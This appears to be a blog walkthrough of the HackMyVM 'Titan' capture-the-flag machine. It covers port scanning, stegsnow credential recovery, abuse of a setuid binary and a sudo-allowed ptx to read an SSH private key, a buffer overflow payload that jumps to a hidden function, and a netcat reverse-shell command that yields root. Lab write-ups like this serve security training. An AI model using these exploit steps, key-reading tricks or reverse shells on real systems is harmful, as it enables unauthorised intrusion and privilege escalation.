HackMyVm Titan Walkthrough

HackMyVm Titan Walkthrough


Scan ports first.

 nmap -sV -sC -p- -oN ports.log
 Nmap scan report for chronos.local (
 Host is up (0.00098s latency).
 Not shown: 65533 closed ports
 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
 | ssh-hostkey:
 |   2048 37:fa:d2:9f:20:25:cf:c5:96:7a:dc:f3:ff:2c:7a:22 (RSA)
 |   256 11:ad:fa:95:71:c5:f9:d4:97:da:42:03:2b:0f:55:bb (ECDSA)
 |_  256 fa:fb:04:13:93:90:a5:01:53:ba:6c:e9:bf:dc:bf:7e (ED25519)
 80/tcp open  http    nginx 1.14.2
 |_http-server-header: nginx/1.14.2
 |_http-title: Site doesn't have a title (text/html).
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Scan port 80. found /robots.txt, then download athena.txt.

 ~ curl
 gobuster-0 | 0 [14:29:34]
 ~ wget

Use vim to open athena.txt, found some strange spaces and tabs.


Through google "space tab steg", we know it's some crypto strings. And we can decrypt it with stegsnow. Then we get username and password of prometheus.

 ~ sudo apt install stegsnow
 stegsnow is already the newest version (20130616-6).
 ~ stegsnow -C athena.txt

Log in ssh as prometheus, found a file named sacrifice in home folder.

 prometheus@titan:~$ ls -la
 total 52
 drwxr-xr-x 2 prometheus prometheus  4096 Aug 18 06:03 .
 drwxr-xr-x 5 root       root        4096 Aug  9 14:23 ..
 -rw------- 1 prometheus prometheus  2718 Aug 18 05:01 .bash_history
 -rw-r--r-- 1 prometheus prometheus   220 Aug  9 14:23 .bash_logout
 -rw-r--r-- 1 prometheus prometheus  3526 Aug  9 14:23 .bashrc
 -rw-r--r-- 1 prometheus prometheus   807 Aug  9 14:23 .profile
 -rwsr-sr-x 1 root       prometheus 16896 Aug  9 14:29 sacrifice
 -rw------- 1 prometheus prometheus   102 Aug 18 05:51 .Xauthority

Disassemble sacrifice, we can know, if we input "beef", we can escalate to user with uid 1000 (0x03E8).

 int __cdecl main(int argc, const char **argv, const char **envp)
   char s1[72]; // [rsp+10h] [rbp-50h] BYREF
   int v6; // [rsp+5Ch] [rbp-4h]
   v6 = 1000;
   printf("What is your offer to the gods?");
   if ( strcmp(s1, "beef") )
     printf("Thanks, mortal.");
     printf("Take this gift.");
   return 0;

Now we can escalate to user zeus.

 prometheus@titan:~$ ./sacrifice 
 What is your offer to the gods?beef
 zeus@titan:~$ id
 uid=1000(zeus) gid=1001(prometheus) groups=1001(prometheus)

Check sudo -l.

 zeus@titan:~$ sudo -l
 Matching Defaults entries for zeus on titan:
     env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
 User zeus may run the following commands on titan:
     (hesiod) NOPASSWD: /usr/bin/ptx

Check help manual of ptx, then we can use ptx to read /home/hesiod/.ssh/id_rsa.

 zeus@titan:/home/zeus$ sudo -u hesiod ptx /home/hesiod/.ssh/id_rsa -A -G
 .xx "PRIVATE/" "" "-----BEGIN OPENSSH" "" "/home/hesiod/.ssh/id_rsa:1"
 .xx "PRIVATE/" "" "-----END OPENSSH" "" "/home/hesiod/.ssh/id_rsa:27"
 .xx "" "" "/JT+LbNag1ZqqNu02YET846I1xppdx/gYK5/hW19Shrw0F+V+G2U0AaVxfgFb+B2Sz+QER" "" "/home/hesiod/.ssh/id_rsa:16"
 .xx "" "" "xUBZ868cu5Flrby84V8UpiXE+tPyq5bZUw24nlJTURFzqy0LkAcAtKQVihXaaoAlOJvz7z" "" "/home/hesiod/.ssh/id_rsa:22"
 .xx "" "" "xqQSsiROLKN/zVEXAAAADGhlc2lvZEB0aXRhbgECAwQFBg==" "" "/home/hesiod/.ssh/id_rsa:26"

Paste line by line in order into a new key file, chmod 600, then we can login as hesiod with private key.

 ~ ssh hesiod@ -i id_rsa                                                                   ...
 Last login: Wed Aug 18 05:51:27 2021 from
 hesiod@titan:~$ id
 uid=1002(hesiod) gid=1002(hesiod) groups=1002(hesiod)

In /home/hesiod, we found a file named fire. It's writable.

 hesiod@titan:~$ ls -la
 total 56
 drwxr-xr-x 4 hesiod hesiod  4096 Aug 18 02:11 .
 drwxr-xr-x 5 root   root    4096 Aug  9 14:23 ..
 -rw------- 1 hesiod hesiod  1265 Aug 18 01:51 .bash_history
 -rw-r--r-- 1 hesiod hesiod   220 Aug  9 14:23 .bash_logout
 -rw-r--r-- 1 hesiod hesiod  3526 Aug  9 14:23 .bashrc
 -rwxr-x--- 1 hesiod hesiod 16608 Aug  9 14:27 fire
 drwxr-xr-x 3 hesiod hesiod  4096 Aug  9 14:25 .local
 -rw-r--r-- 1 hesiod hesiod   807 Aug  9 14:23 .profile
 drwx------ 2 hesiod hesiod  4096 Aug  9 14:31 .ssh
 -rw------- 1 hesiod hesiod   102 Aug 18 02:11 .Xauthority

Now here is the key point to root.

Go back to sacrifice, in disassembler, just scroll up a little, we can found a secret function named "thief".

 .text:0000000000001185                 public thief
 .text:0000000000001185 thief           proc near
 .text:0000000000001185 ; __unwind {
 .text:0000000000001185                 push    rbp
 .text:0000000000001186                 mov     rbp, rsp
 .text:0000000000001189                 mov     edi, 0          ; uid
 .text:000000000000118E                 call    _setuid
 .text:0000000000001193                 mov     edi, 0          ; gid
 .text:0000000000001198                 call    _setgid
 .text:000000000000119D                 lea     rdi, command    ; "/home/hesiod/fire"
 .text:00000000000011A4                 call    _system
 .text:00000000000011A9                 nop
 .text:00000000000011AA                 pop     rbp
 .text:00000000000011AB                 retn
 .text:00000000000011AB ; } // starts at 1185
 .text:00000000000011AB thief           endp
 .text:00000000000011AC ; =============== S U B R O U T I N E =======================================
 .text:00000000000011AC ; Attributes: bp-based frame
 .text:00000000000011AC ; int __cdecl main(int argc, const char **argv, const char **envp)
 .text:00000000000011AC                 public main
 .text:00000000000011AC main            proc near               ; DATA XREF: _start+1D↑o
 .text:00000000000011AC var_60          = qword ptr -60h
 .text:00000000000011AC var_54          = dword ptr -54h
 .text:00000000000011AC s1              = byte ptr -50h
 .text:00000000000011AC var_8           = dword ptr -8
 .text:00000000000011AC var_4           = dword ptr -4
 .text:00000000000011AC ; __unwind {
 .text:00000000000011AC                 push    rbp
 .text:00000000000011AD                 mov     rbp, rsp
 .text:00000000000011B0                 sub     rsp, 60h
 .text:00000000000011B4                 mov     [rbp+var_54], edi
 .text:00000000000011B7                 mov     [rbp+var_60], rsi

Through reading the source code, we get the final method:

We need to overflow sacrifice, then run secret function "thief", "thief" then calls /home/hesiod/fire, and write shellcode in fire to get root.

To successfully pwn sacrifice, first step is to calcute the offset of overflow point. Download sacrificeto local machine, and use gdb-peda to load it.

Create pattern string with length 200.

 gdb-peda$ pattern create 200

Input 'r' to let program run, when ask for input answer, paste the above pattern string.

 gdb-peda$ r
 Starting program: /home/kali/Documents/titan/sacrifice
 What is your offer to the gods?AAA%AAsA...

Then we will get Segmentation fault, because return address is illegal.

 Program received signal SIGSEGV, Segmentation fault.
 RIP: 0x55555555524a (<main+158>:        ret)
 EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
    0x55555555523f <main+147>:   call   0x555555555040 <printf@plt>
    0x555555555244 <main+152>:   mov    eax,0x0
    0x555555555249 <main+157>:   leave  
 => 0x55555555524a <main+158>:   ret    
    0x55555555524b:      nop    DWORD PTR [rax+rax*1+0x0]
    0x555555555250 <__libc_csu_init>:    push   r15
    0x555555555252 <__libc_csu_init+2>:  mov    r15,rdx
    0x555555555255 <__libc_csu_init+5>:  push   r14
 Legend: code, data, rodata, value
 Stopped reason: SIGSEGV
 0x000055555555524a in main ()

Use "patter search" to get the offset is 88 for [RSP]. And [RSP] points to the original return address, which we want to overflow with our own return address.

 gdb-peda$ pattern search
 Registers contain pattern buffer:
 RBP+0 found at offset: 80
 Registers point to pattern buffer:
 [RSP] --> offset 88 - size ~112
 [R8] --> offset 0 - size ~212

The method is, we need to fill 87 chars, then following the address of secret function "thief", which is 0x555555555185. (Maybe not the same on your machine).

 gdb-peda$ disassemble 0x555555555185
 Dump of assembler code for function thief:
    0x0000555555555185 <+0>:     push   rbp
    0x0000555555555186 <+1>:     mov    rbp,rsp
    0x0000555555555189 <+4>:     mov    edi,0x0
    0x000055555555518e <+9>:     call   0x555555555080 <setuid@plt>
    0x0000555555555193 <+14>:    mov    edi,0x0
    0x0000555555555198 <+19>:    call   0x555555555070 <setgid@plt>
    0x000055555555519d <+24>:    lea    rdi,[rip+0xe64]        # 0x555555556008
    0x00005555555551a4 <+31>:    call   0x555555555030 <system@plt>
    0x00005555555551a9 <+36>:    nop
    0x00005555555551aa <+37>:    pop    rbp
    0x00005555555551ab <+38>:    ret    
 End of assembler dump.

Because intel machine is little-Endian, so the 64bit address of 0x555555555185 should be "\x85\x51\x55\x55\x55\x55\x00\x00" in python string format.

We write reverse shell code in /home/hesiod/fire as user hesiod, remember to add +x in order to let prometheus has execute permission.

 hesiod@titan:~$ echo 'nc 1234 -e /bin/bash' > fire
 hesiod@titan:~$ chmod +x fire
 hesiod@titan:~$ ls -la fire
 -rwxr-x--x 1 hesiod hesiod 36 Aug 18 06:05 fire

Then back to user prometheus, use python to generate the evil string and pwn sacrifice.

 prometheus@titan:~$ python3 -c 'print("a"*87+"\x85\x51\x55\x55\x55\x55\x00\x00")' |./sacrifice 
 ~ nc -nlvp 1234  
 Ncat: Version 7.91 ( https://nmap.org/ncat )
 Ncat: Listening on :::1234
 Ncat: Listening on
 Ncat: Connection from
 Ncat: Connection from
 uid=0(root) gid=0(root) groups=0(root),1001(prometheus)
 cd /root
 uid=0(root) gid=0(root) groups=0(root),1001(prometheus)



«    2022年5月    »
  • 订阅本站的 RSS 2.0 新闻聚合

Powered By Z-BlogPHP 1.7.2